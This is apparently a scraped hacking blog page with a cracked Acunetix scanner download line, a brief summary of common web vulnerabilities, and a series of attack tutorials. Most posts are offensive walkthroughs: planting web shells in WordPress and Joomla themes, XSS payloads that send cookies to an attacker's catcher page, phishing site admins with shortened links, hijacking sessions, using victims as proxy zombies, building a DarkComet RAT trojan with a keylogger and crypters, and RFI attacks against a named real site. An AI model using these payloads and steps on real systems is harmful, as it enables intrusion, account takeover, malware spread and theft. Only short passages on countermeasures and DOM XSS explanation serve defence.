Acunetix Vulnerability Scanner v8 Patch Free Download Full

Download Acunetix Vulnerability Scanner v8 Patch By _Ghost_

7 Most Common Web Application Vulnerabilities

Information disclosure, identity theft, SQL injection, Code injection, Authentication bypass, Cross site scripting and Cross request forgery. Typo3 has released the web application security guide for website owners and below is the detail discussion on the common and most dangerous web application vulnerabilities. 

 

Information disclosure

This means that the system will (under certain circumstances) make information available to an outside person that might use it to craft an attack against the system. Such information includes details of the file system structure or details about the installed software, such as configuration options or version numbers. An attacker could gain important information about the system configuration that makes an attack possible.

There is a fine line between the protection against information disclosure and so called "security by obscurity". Latter means, that system administrators or developers try to protect their infrastructure or software by hiding or obscuring it. An example would be to not reveal that TYPO3 is used as the content management system or a specific version of TYPO3 is used. Security experts say, that "security by obscurity" is not security, simply because it does not solve the root of a problem (e.g. a security vulnerability) but tries to obscure the facts only.

Identity theft

Under certain conditions it may be possible that the system reveals personal data, such as customer lists, e-mail addresses, passwords, order history or financial transactions. This information can be used by criminals for fraud or financial gains. The server running a TYPO3 website should be secured so that no data can be retrieved without the consent of the owner of the website.

SQL injection

With SQL injection the attacker tries to submit modified SQL statements to the database server in order to get access to the database. This could be used to retrieve information such as customer data or user passwords or even modify the database content such as adding administrator accounts to the user table. Therefore it is necessary to carefully analyze and filter any parameters that are used in a database query.

Code injection

Similar to SQL injection described above, "code injection" includes commands or files from remote instances (RFI: Remote File Inclusion) or from the local file system (LFI: Local File Inclusion). The fetched code becomes part of the executing script and runs in the context of the TYPO3 site (so it has the same access privileges on a server level). Both attacks, RFI and LFI, are often triggered by improper verification and neutralization of user input.

Local file inclusion can lead to information disclosure (see above), for example reveal system internal files which contain configuration settings, passwords, encryption keys, etc.

Authorization bypass

In an authorization bypass attack, the cracker exploits vulnerabilities in poorly designed applications or login forms (e.g. client-side data input validation). Authentication modules shipped with the TYPO3 core are well-tested and reviewed. However, due to the open architecture of TYPO3, this systems can be extended by alternative solutions. The code quality and security aspects may vary, see chapter "Guidelines for TYPO3 Integrators: TYPO3 extensions" for further details.

Cross Site Scripting (XSS)

Cross-site scripting occurs when data that is being processed by an application is not filtered for any suspicious content. It is most common with forms on websites where a user enters data which is then processed by the application. When the data is stored or sent back to the browser in an unfiltered way, malicious code may be executed. A typical example is a comment form for a blog or guest book. When the submitted data is simply stored in the database, it will be sent back to the browser of visitors if they view the blog or guest book entries. This could be as simple as the inclusion of additional text or images, but it could also contain JavaScript code of iframes that load code from a 3rd party website.

Cross Site Request Forgery (XSRF)

In this type of attack unauthorized commands are sent from a user a website trusts. Consider an editor that is logged in to an application (like a CMS or online banking service) and therefore is authorized in the system. The authorization may be stored in a session cookie in the browser of the user. An attacker might send an e-mail to the person with a link that points to a website with prepared images. When the browser is loading the images, it might actually send a request to the system where the user is logged in and execute commands in the context of the logged-in user.

Source

Uploading Shell In Wordpress

Posted By Maher Bro

Hey all in this tutorial i will tell you all how to upload shell in wordpress. 

So first of all we must have access to wordpress. As many of you must  have tried symlink and got worpress and joomla databases but what about uploading shell in them.

 So here we go just follow me 


1. Log in to your worpress site and after logging in you will see something shown in below image.

                                                                                                                                                                                                                           

2. On the left hand side you can see editor option under appearance just follow that option.

3. After getting in editor  you will see different themes. So select any theme you want and then select template as shown in below image.

4. After selecting theme and template just replace this code with our shell code and then upload file.

5. Now after uploading file it must show File edited successfully and after that go to your shell directory i.e. www.targetsite.com/wp-content/themes/yourtheme/templatename.php.

Our shell is uploaded ;)

XSS Attack-PART 7

Posted By Maher Bro

Hey awl in diz tut i will be telling uhh awl countermeasures against XSS :)

                                                       Countermeasures

Check and validate all the form fields, hidden fields, headers, cookies, query strings and all the parameters against a rigorous specification.

Implement a stringent security policy.

Web servers, applications servers, and web application environments are vulnerable to cross-site scripting. It is hard to identify and remove XSS flaws from web applications. The best way to find flaws is to perform a security review of the code, and search in all the places where input from an HTTP request comes as an output through HTML.

A variety of different HTML tags can be used to transmit a malicious JavaScript. Nessus, Nikto and other tools can help to some extent for scanning website for these flaws. If vulnerability is discovered in one website, there is a high chance of it being vulnerable to other attacks.

Find the script output to defeat XSS vulnerability which can prevent then from being transmitted to users.

The entire code of the website has to be reviewed if it has to be protected against XSS attacks. The sanity of the code should be checked by reviewing and comparing it against exact specifications. The areas should be checked as follows, the headers, as well as cookies, query string from fields and hidden fields. During the validation process, there must be no attempt to recognize the active content, neither to remove the filter nor sanitize it.

There are many ways to encode the known filters for active content. A “positive security policy” is highly recommended, which specifies what has to be allowed and what has to be removed. Negative or attack signature-based policies are hard to maintain, as they are incomplete.

Input fields should be limited to a maximum since most script attacks need several characters to get granted.

XSS Attack-PART 6

Posted By Maher Bro

Hey awl  h0wz yuh well in diz tut i will be giving uhh awl a brief xplanation on DOM based XSS attacks :) :)

I will not be gng 2 deep cz its quite confusioning i will be posting abt it in detail later :D although m also working on it dese days :P

DOM-based is unique form of XSS, used very similarly to non-persistent, but where the JavaScript malware payload doesn’t need to be sent or echoed by the Web site to exploit auser. Consider our eCommerce Web site example (Figure 1.1.), where a feature on the Website is used to display sales promotions.The following URL queries the backend database for the information specified by the product_id value which is shown to the user. (Figure 1.2)

Fig 1.2	Fig 1.2

To make the user experience a bit more dynamicity, the title value of the URL’s can be updated on the fly to include different impulse-buy text

Example 1

http://victim/promo?product_id=100&title=Last+Chance!
http://victim/promo?product_id=100&title=Only+10+Left!

Etc.

The value of the title is automatically written to the page using some resident JavaScript.

Example 2

<script>
var url = window.location.href;
var pos = url.indexOf("title=") + 6;
var len = url.length;
var title_string = url.substring(pos,len);
document.write(unescape(title_string));
</script>

This is where the problem is. In this scenario, the client-side JavaScript blindly trusts the data contained in the URL and renders it to the screen.This trust can be leveraged to craft the following URL that contains some JavaScript malware on the end.

Example 3

http://victim/promo?product_id=100&title=Foo#<SCRIPT>alert('XSS%20Testing')
</SCRIPT>

As before, this URL can be manipulated to SRC in additional JavaScript malware from any location on the Web. What makes this style of XSS different, is that the JavaScript malware payload does not get sent to the Web server. As defined by Request For Comment (RFC), the “fragment” portion of the URL, after the pound sign, indicates to the Web browser which point of the current document to jump to. Fragment data does not get sent to the Web server and stays within the DOM. Hence the name, DOM-based XSS.



DOM is a World Wide Web Consortium (W3C) specification, which defines the object model for representing XML and HTML structures. In the eXtensible Markup Language (XML) world, there are mainly two types of parsers, DOM and SAX. SAX is a parsing mechanism, which is significantly faster and less memory-intensive but also not very intuitive, because it is not easy to go back to the document nodes (i.e. the parsing mechanism is one way). On the other hand, DOM-based parsers load the entire document as an object structure, which contains methods and variables to easily move around the document and modify nodes, values, and attributes on the fly.
Browsers work with DOM. When a page is loaded, the browser parses the resulting page into an object structure.The getElementsByTagName is a standard DOM function that is usedto locate XML/HTML nodes based on their tag name. DOM-based XSS is the exploitation of an input validation vulnerability that is caused by the client, not the server. In other words, DOM-based XSS is not a result of a vulnerability within a server side script, but an improper handling of user supplied data in the client side JavaScript. Like the other types of XSS vulnerabilities, DOM-based XSS can be used to steal confidential information or hijack the user account. However, it is essential to understand that this type of vulnerability solely relies upon JavaScript and insecure use of dynamically obtained data from the DOM structure.
Here is a simple example of a DOM-base XSS provided by Amit Klein in his paper “Dom Based Cross Site Scripting or XSS of the Third Kind”:

<HTML>
<TITLE>Welcome!</TITLE>
Hi
<SCRIPT>
var pos=document.URL.indexOf(“name=”)+5;
document.write(document.URL.substring(pos,document.URL.length));
</SCRIPT>
<BR>
Welcome to our system
…
</HTML>

If we analyze the code of the example, you will see that the developer has forgotten to sanitize the value of the “name” get parameter, which is subsequently written inside the document as soon as it is retrieved. In the following section, we study a few more DOM based XSS examples based on a fictitious application that we created.

Identifying DOM-based XSS Vulnerabilities

Let’s walk through the process of identifying DOM-based XSS vulnerabilities using a fictitious Asynchronous Javascript and XML (AJAX) application.
First, we have to create a page on the local system that contains the following code:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
<link rel="stylesheet"
href="http://www.gnucitizen.org/styles/screen.css" type="text/css"/>
<link rel="stylesheet"
href="http://www.gnucitizen.org/styles/content.css" type="text/css"/>
<script src="http://jquery.com/src/jquery-latest.pack.js"
type="text/javascript"></script>
<title>Awesome</title>
</head>
<body>
<div id="header">
<h1>Awesome</h1>
<p>awesome ajax application</p>
</div>
<div id="content">
<div>
<p>Please, enter your nick and press
<strong>chat</strong>!</p>
<input name="name" type="text" size="50"/><br/><input
name="chat" value="Chat" type="button"/>
</div>
</div>
<script>
$('[@name="chat"]').click(function () {
var name = $('[@name="name"]').val();
$('#content > div').fadeOut(null, function () {
$(this).html('<p>Welcome ' + name + '! You can
type your message into the form below.</p><textarea class="pane">' + name + ' &gt;
</textarea>');
$(this).fadeIn();

});
});
</script>
<div id="footer">
<p>Awesome AJAX Application</p>
</div>
</body>
</html>

Next, open the file in your browser (requires JavaScript to be enabled).The application looks like that shown in Figure 1.3

Fig 1.3	Fig 1.4

Once the page is loaded, enter your name and press the Chat button.This example is limited in that you cannot communicate with other users.We deliberately simplified the application so that we can concentrate on the actual vulnerability rather than the application design. Figure 1.4 shows the AJAX application in action.
Notice that this AJAX application does not need a server to perform the desired functions. Remember, you are running it straight from your desktop. Everything is handled by your browser via JavaScript and jQuery.
** jQuery is a useful AJAX library created by John Resig. jQuery significantly simplifies AJAX development, and makes it easy for developers to code in a cross-browser manner.**
If you carefully examine the structure and logic of the JavaScript code, you will see that the “Awesome AJAX application” is vulnerable to XSS.The part responsible for this input sanitization failure is as follows:

$(this).html('<p>Welcome ' + name + '! You can type your message into the form
below.</p><textarea class="pane">' + name + ' &gt; </textarea>');

As seen, the application composes a HTML string via JQuery’s HTML function.The html function modifies the content of the selected element.This string includes the data from the nickname input field. In our case, the input’s value is “Bob.” However, because the application fails to sanitize the name, we can virtually input any other type of HTML, even script elements, as shown on Figure 1.5

Fig 1.5	Fig 1.6

If you press the Chat button, you will inject the malicious payload into the DOM.This payload composes a string that looks like the following:

<p>Welcome <script>alert('xss')</script>! You can type your message 
into the form below.</p><textarea class="pane"><script>alert('xss')
</script> &gt; </textarea>

This is known as non-persistent DOM-based XSS. Figure 1.6 shows the output of the exploit.

XSS Attack-PART 5

Posted By Maher Bro

 TAKING COMMON XSS VULNERABILITIES TO THE NEXT LEVEL

Hey awl 2oday I will tell  you two neat tools which can be used to leverage common XSS vulnerabilities and allow you to take them to the next level. There are a lot of admins and general techies who don't think XSS vulnerabilities are anything to be concerned about. What can a simple alert box do? Hopefully after today you will look at your code a little harder and have a little more respect for all those pesky XSS finds. This is based on my recent experience in setting these up and seeing the results in real time which lead me to feel the need to share this. Here we go

Things you need

XSS Shell & XSS Tunnel, both available here in single download

Path Disclosure Script, available here

Create an account at any of your favorite ASP hosting sites, usually a free one will do. Now create and upload a index file to have something for quick checks to see if anything is there (and to throw off suspicion) so your site seems legit. Now we will upload the Path Disclosure Script you downloaded above (path.asp) and then navigate in our browser to it in order to find out what our default install path is so we can setup our db.asp file for connections to our MS-ACCESS database file.

Write down what you see on the screen, remove file, and then go and edit the db.asp for XSS Shell for the following line of code, change path to what you found above:

'// DATABASE CONFIGURATION

Const DBPATH = "X:\path\to\site\install”

 Once that is done, create a zip file for all of the content in our XSS Shell folder and name it SSX.zip. Then use your control panel features to unzip the content to speed up XSS Shell site build-out (otherwise it takes forever to upload one by one). 

Remove the .zip file and the path finder script to clean things up, so it should look something like this once done:

NOTE: on my host in this test run the “DB” folder was changed to “Db” and the “admin” folder was changed to “Admin”, so you may need to alter your scripts after uploading, just play with it a bit until it works for you. Also note you might need to alter scripts to align as well since your URL path may be case sensitive to match what control panel reflects, like in my case.

Now that you have everything uploaded it is time to navigate to the admin panel, you should be able to find it easily at:

http://www.yoursite.com/xssfolderifany/Admin/

 

You will login with whatever password you set originally in the xssshell.asp file. Once you login you are greeted with the XSS Shell admin panel.

OK, so things work now to get some victims… If you want to test it out real quick you can upload the Sample_Victim folder that comes with XSS Shell download. Just edit the code in the middle of page (comments point it out) and change to point to your new XSS Shell setup. Once completed, open up another browser and navigate to the /Sample_Victim/Default.asp page to activate. Alternatively you can get straight to work by injecting a form of this script into XSS vulnerable site and then getting victims to visit:

"><script src="http://yoursite.com/xssshellifany/xssshell.asp"></script>

When you get victims they will appear in the XSS Shell Admin Panel, like so:

 

From here you can grab victim cookies, send alert boxes to all victims as once, use victim browsers for DDoS, etc. If you are good with JavaScript you can do whatever your skills are limited to as you can add in your own custom commands and payloads rather easily under the eval(js) module section. If you want to know more about XSS Shell then please refer to the developers site as I will now be jumping onward into how we can utilize the XSS Shell with XSS tunnel to create a Zombie bot for further attacking, exploiting, whatever….

XSS Shell homepage can be found here, and download includes both XSS Shell and XSS Tunnel:  http://labs.portcullis.co.uk/application/xssshell/

OK, now that we have XSS Shell successfully setup we can extend its usefulness even further through the help of another tool called XSS Tunnel. This is a binary program made strictly for Windows. You simply need to download and open and configure to use our XSS Shell to then route all traffic we want using our XSS Shell victims as proxies. This can allow us to bypass IP restrictions should we grab an admin victim, which can then lead to further privilege escalations from the site admin panel. It also means we can turn our victims into Zombies and configure our favorite injection scanners, browsers, etc to use the Zombie victim as a proxy, meaning all logs on any servers we attack while connected will reflect our Zombies information and not ours adding yet another layer of stealth to our future exploitations.

Here is quick run through of the XSS Tunnel configuration. Double click file to run and you’re greeted with this:

We will need to click on the “OPTIONS” tab to enter our details for connecting to XSS Shell. Simply enter in the URL path to your XSS Shell Admin panel, and then enter the password you created for XSS Shell Admin Panel (xssshell.asp file stores the password if you already forgot).

You can hit the “TEST SERVER” button once you entered the correct details to check and confirm it is properly communicating with our XSS Shell. Upon success you will see message like so:

Now once you get victims in your XSS Shell you can use them as proxies for your favorite tools and/or to bypass site restrictions for further exploitation on the site where the original XSS flaw may have been found. In order to does this choose the interface or adapter you want to listen on and then choose the desired port to listen on and use for proxy functions. If you have something running on 8080 already then just changes it to meet your need. Transparency setting is purely for the XSS Tunnel GUI and nothing related to proxy function. Once you have it how you want you can click on the “START XSS TUNNEL” button near the top section, once you then enable the proxy function with your tools you will begin to see the requests flow through the main tab (if you care to watch or review).

This method can take a common non-persistent or persistent XSS vulnerability and turn it into a full site takeover proving that XSS is not something to be simply overlooked.

XSS Attack-PART 4

Posted By Maher Bro

Session Hijacking

 

 

 

• Ok now we have got the admin's cookies using both methods, so we need to edit our own browser's cookies. 
•  
• First of all go to that site's admin login or its main page whose cookies you have.
•  
• Now delete ALL of your cookies from that page.For this check the topic on cookies. 
•  
• Now go in your cookies.html page which you have made on a free hosting site and copy everything in front of the Cookie: in a notepad.These are the cookies. 
•  
• This sign ; separates cookies from each other so first copy the code before the ;i.e the first cookie.
•  
• Now come back to that vulnerable site and instead of  link add the following code but don't hit enter:

Code:
Javascript:void(document.cookie="ADD YOUR COOKIE HERE")

• Add that cookie in between " " and now hit enter.
•  
• Do this with all of the cookies and refresh the page.
•  
• And hurrah!!! you are logged in as administrator.
•  
• So now go in your admin panel and upload your deface page,now you can do anything to that site.

XSS Attack-PART 3

Posted By Maher Bro

                                               Persistent

    So,let us assume that we have found a XSS vulnerable forum which has HTML enabled or a site which has a comment page which is vulnerable to XSS attack. 

    So now lets try to grab it's cookies. 

    First of all download a cookie catcher tool online by searching on google and upload it on any free hosting site which supports php . 

    Now come to that vulnerable site and if there is a box to type and submit then add the following code in it:

    Code:<script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

    Replace the bold link with the link of your cookie catcher uploaded on free hosting site. 

    Now submit that post in the forum or the comment box and I would suggest to add some text before or after it so that it wont look like a spam.
 
     Refresh the page, now go to the newly created page, in the same directory as you saved your cookie catcher .php 
 
    Search for cookies.html which is a new file that show you the cookies. like if your cookie catcher link would be: http://www.example.com/cookie catcher.php the container of the cookies would be: http://www.example.com/cookies.html

    Now save these cookies as we gonna use them to hijack session of victim.... ;)

XSS Attack-PART 2

Posted By Maher Bro

Types of XSS

There are actually three types of Cross-Site Scripting, commonly named as:


- Persistent X

- Non-persistent XSS

- DOM-Based XSS

S0 in diz tutorial i will be concentrating on Non-Persistent method :D

Non-persistent XSS

The non-persistent XSS are actually the most commons vulnerabilities that can be found on the Net. It’s commonly named as “non-persistent” because it works on an immediate HTTP response from the victim website: it show up when the webpage get the data provided by the attacker’s client to automatically generate a result page for the attackers himself. Standing on this the attacker could provide some malicious code and try to make the server execute it in order to obtain some result.

The most common applying of this kind of vulnerability is in Search engines in website: the attacker writes some arbitrary HTML code in the search textbox and, if the website is vulnerable, the result page will return the result of these HTML entities.

Finding a XSS Vulnerable sites

    First of all,we need to find sites which are vulnerable to XSS attack.There are many such sites.
    To find XSS vulnerable sites add a code after the link.Add below given codes after the site link to find whether the site is vulnerable or not :

    Code:
    "><script>alertundefineddocument.cookie)</script>
    Code:
    '><script>alertundefineddocument.cookie)</script>
    Code:
    "><script>alertundefined"Test")</script>
    Code:
    '><script>alertundefined"Test")</script>
    Or a new one which i found out myself which you can inject HTML:
    Code:
    "><body bgcolor="FF0000"></body>
    Code:
   <body onload=alert('test1')>

    After adding these codes after the link if your site is http://www.example.com the link to test it would be: http://www.example.com/index.php?id="><script>alert(document.cookie)</script> and now press Enter.
    Then if we see a javascript is pop up Or you saw the page's background go black Or a page of google opens in that site,it means we have come to a XSS vulnerable site FOr example see d image below ~_~  

 

• After finding the site check for its search box , it must be like this search.php and now you have to check whether this search.php is vulnerable or not.
• To check this add this simple code in the search box and click the search button.
  

Code:

<script>alert(document.cookie)</script>

• After searching this code if a box popup it means this search.php is vulnerable to Non-Persistent XSS attack.
• Now after confirming the vulnerability add the below code in the url of this search.php page.

Code:

"><script>document.location="www.you.110mb.com/cookie catcher.php?c=" + document.cookie</script>

• Now we have to shrink the link of whole page for this use tinyurl or any other such service.
• Now try to find a site administrator's E-mail,for this you may use whois lookup table or any online service which gives you the detail of the site's owner
• After getting the email id send him a fake email from any online fake mailer or through your fake id.
• In the body of the email just tell something fake like: Hey i found a huge bug in your website! and give him the shrinked link of the search.php in which you have also added the code.
• Tinyurl will mask the link and don't let it to go to spam
• Once he clicked on that link you will see his cookies in your cookies.html and he will just be redirected to the link in your cookies catcher. 
• No matter what he does and changes his password you can still login as him.

XSS Attack-PART 1

Posted By Maher Bro

Cross Site Scripting (or XSS) is one of the most common application-layer web attacks. XSS commonly targets scripts embedded in a page which are executed on the client-side (in the user’s web browser) rather than on the server-side. XSS in itself is a threat which is brought about by the internet security weaknesses of client-side scripting languages, with HTML and JavaScript (others being VBScript, ActiveX, HTML, or Flash) as the prime culprits for this exploit. The concept of XSS is to manipulate client-side scripts of a web application to execute in the manner desired by the malicious user. Such a manipulation can embed a script in a page which can be executed every time the page is loaded, or whenever an associated event is performed.
In a typical XSS attack the hacker infects a legitimate web page with his malicious client-side script. When a user visits this web page the script is downloaded to his browser and executed. There are many slight variations to this theme, however all XSS attacks follow this pattern, which is depicted in the diagram below.

A basic example of XSS is when a malicious user injects a script in a legitimate shopping site URL which in turn redirects a user to a fake but identical page. The malicious page would run a script to capture the cookie of the user browsing the shopping site, and that cookie gets sent to the malicious user who can now hijack the legitimate user’s session. Although no real hack has been performed against the shopping site, XSS has still exploited a scripting weakness in the page to snare a user and take command of his session. A trick which often is used to make malicious URLs less obvious is to have the XSS part of the URL encoded in HEX (or other encoding methods). This will look harmless to the user who recognizes the URL he is familiar with, and simply disregards and following ‘tricked’ code which would be encoded and therefore inconspicuous.

Site owners are confident ,but more than HAckers

Without going into complicated technical details, one must be aware of the various cases which have shown that XSS can have serious consequences when exploited on a vulnerable web application. Many site owners dismiss XSS on the grounds that it cannot be used to steal sensitive data from a back-end database. This is a common mistake because the consequences of XSS against a web application and its customers have been proven to be very serious, both in terms of application functionality and business operation. An online business project cannot afford to lose the trust of its present and future customers simply because nobody has ever stepped forward to prove that their site is really vulnerable to XSS exploits. Ironically, there are stories of site owners who have boldly claimed that XSS is not really a high-risk exploit. This has often resulted in a public challenge which hackers are always itching to accept, with the site owner having to later deal with a defaced application and public embarrassment.

The repercussions of XSS

Analysis of different cases which detail XSS exploits teaches us how the constantly changing web technology is nowhere close to making applications more secure. A thorough web search will reveal many stories of large-scale corporation web sites being hacked through XSS exploits, and the reports of such cases always show the same recurring consequences as being of the severe kind.
Exploited XSS is commonly used to achieve the following malicious results:

• Identity theft
• Accessing sensitive or restricted information
• Gaining free access to otherwise paid for content
• Spying on user’s web browsing habits
• Altering browser functionality
• Public defamation of an individual or corporation
• Web application defacement
• Denial of Service attacks

Any site owner with a healthy level of integrity would agree that none of the above can really be considered us frivolous or unimportant impacts on a vulnerable site. Security flaws in high-profile web sites have allowed hackers to obtain credit card details and user information which allowed them to perform transactions in their name. Legitimate users have been frequently tricked into clicking a link which redirects them to a malicious but legitimate-looking page which in turn captures all their details and sends them straight to the hacker. This example might not sound as bad as hacking into a corporate database; however it takes no effort to cause site visitors or customers to lose their trust in the application’s security which in turn can result in liability and loss of business.

XSS Attack Vectors

Internet applications today are not static HTML pages. They are dynamic and filled with ever changing content. Modern web pages pull data from many different sources. This data is amalgamated with your own web page and can contain simple text, or images, and can also contain HTML tags such as <p> for paragraph, <img> for image and <script> for scripts. Many times the hacker will use the ‘comments’ feature of your web page to insert a comment that contains a script. Every user who views that comment will download the script which will execute on his browser, causing undesirable behaviour. Something as simple as a Facebook post on your wall can contain a malicious script, which if not filtered by the Facebook servers will be injected into your Wall and execute on the browser of every person who visits your Facebook profile.

Uploading Shell IN joomla

Posted By Maher Bro

Hey all today i will be telling you all about uploading shell in joomla.

So without wasting time lets start our work____!!! 

1. Suppose we have an access to joomla admin.

2. After logging in we will get inside the site from where we can edit and do many things with the database. As shown in image below.



 


 3. The go to Extensions and inside that Template Manage. As shown in below image.






4. After getting in template manager we will see all the templates installed on the site.




5. As we can see marking in red it has the star. It shows its the default template used by the sites currently. Select any of the template like i am taking beez.




6. Once we click on beez we will see something as shown in below image.




After that click on Edit html.

7. Once you clicked on edit html you will see something as shown in below image.




As we can see the red part /templates/beez/index.php that is the path of your shell.

9. Now paste your shell code over there and save it.



 10. As soon as we  click on save. it will take us to page were it will shows Template source saved. 





Once that is done we can access our shell. Path of the shell would be


www.site.com/templates/beez/index.php

How to setup the Dark Comet 5 for hacking email accounts & PC

Posted By Maher Bro

Dark Comet is a remote administrative tool. It is one of the best and awesome tool for hacking PC.
It is easy to use. It has been great and mostly used for hacking PC’s . Dark Comet is Coded on Delphi XE and Delphi 2007 . It steals the keystrokes and records the desktop. You can even also damage the victim PC by this great efficient tool.
Download the Dark Comet 5 from here .

How to setup the Dark Comet 5 for hacking email accounts & PC

• After downloading the tool. Open it >Click on Dark Comet Rat> Client Settings> No ip updater

• Now click on Get a free account. Create an account there. After successfullt creating the account there login into your account. And click on Add host. Now in the Host name provide any name . and click on Create host.

• Now after creating the host copy your host name in my case it is silent-hacker.no-ip.org .
  Now in your Dark comet Fill the blank fields.
  No ip host :- Your host name ( mine silent-hacker.no-ip.org )
  Username :- Your email address
  Password :- Your password

• Now it’s time for making the Trojan server. Go to Dark Comet rat>Server module ( 649 kb )>Full editor expert. (  Minimalist is easy to config you can config that your own )

• Now give any password to your cilents ( it’s optional but id you put the password then also put the same password in the cilents area). Fill server Server ID & Profile name.
• Next is Network settings In Ip/Dns put your own IP address and in Port any open port of your PC.  ( To check open ports visit canyouseeme.org )
• Now it’s Module Startup. Your choice what you want to choose.

• Now it’s Keylogger Cho0se Active Offline Keylogger on server start up ( You can also choose the FTP but from my side choose Offiline keylogger ).

• Leave host file and plugins Go to file binder Bind any file with your Trojan ( eg. Any song , any document you can use ) and click on add file.
• Choose any attractive icon for your trojan. It has some inbuilt icons You can use your own icons also.

• Now it’s final step for Making your trojan ” Stub Finalization “. Choose your method of compression and click on Build the Stub .

So making of the RAT trojan is done to make it fully undetectable ( FUD ) use crypters and changing the file signature. After that Upload you file in any file hosting site www.sendspace.com . and send the download link to the Victim.
Hope you enjoyes the Tutorial and don’t forget to share it .

How to hack a website using RFI method

Posted By Maher Bro

RFI ( Remote File Inclusion ) is a method of injecting the remote file link to the server and get the site access. By this vulnerability attacker can deface or compromise the data from the site.
* Before getting start ( Things required )

• A shell uploaded in any webhosting try my3gb( dot )com ( Any shell you like )
• Vulnerable site
• A sharp brain

Mostly Used Dorks for RFI :-
inurl:/modules/My_eGallery/public/displayCategory.php?basepath=
inurl:/modules/mod_mainmenu.php?mosConfig_absolute_path=
inurl:/include/new-visitor.inc.php?lvc_include_dir=
inurl:/_functions.php?prefix=
inurl:/cpcommerce/_functions.php?prefix=
inurl:/modules/coppermine/themes/default/theme.php?THEME_DIR=

How to Hack website using RFI method

After uploading the shell in the hosting get it’s link eg:- username.my3gb.com/shell_name.php . Now it’s for the Vulnerable site.
You can get them by Using dorks. I am using this site :- http://www.cbspk.com
Here’s the vulnerable the link of the site :- http://www.cbspk.com/v2/index.php?page=site link here.
now to check whether the site is vulnerable or not you have to put the any site link after ?page= for example :-

http://www.cbspk.com/v2/index.php?page=http://google.com

If it will open google.com in the same page then it’s vulnerable and if it didn’t then check any other site.

Now after getting the vulnerable site replace the http://google.com with your shell link. Now exploit link will be :-

http://www.cbspk.com/v2/index.php?page=http://username.my3gb.com/shell.php?

And add ? also to the link if the site is vulnerable it will embedded the page to the site.
After successfully execution. The only thing left is your creativity Defacing
Hope you enjoyed the tutorial ” How to hack a website using RFI method “  and don’forget to share it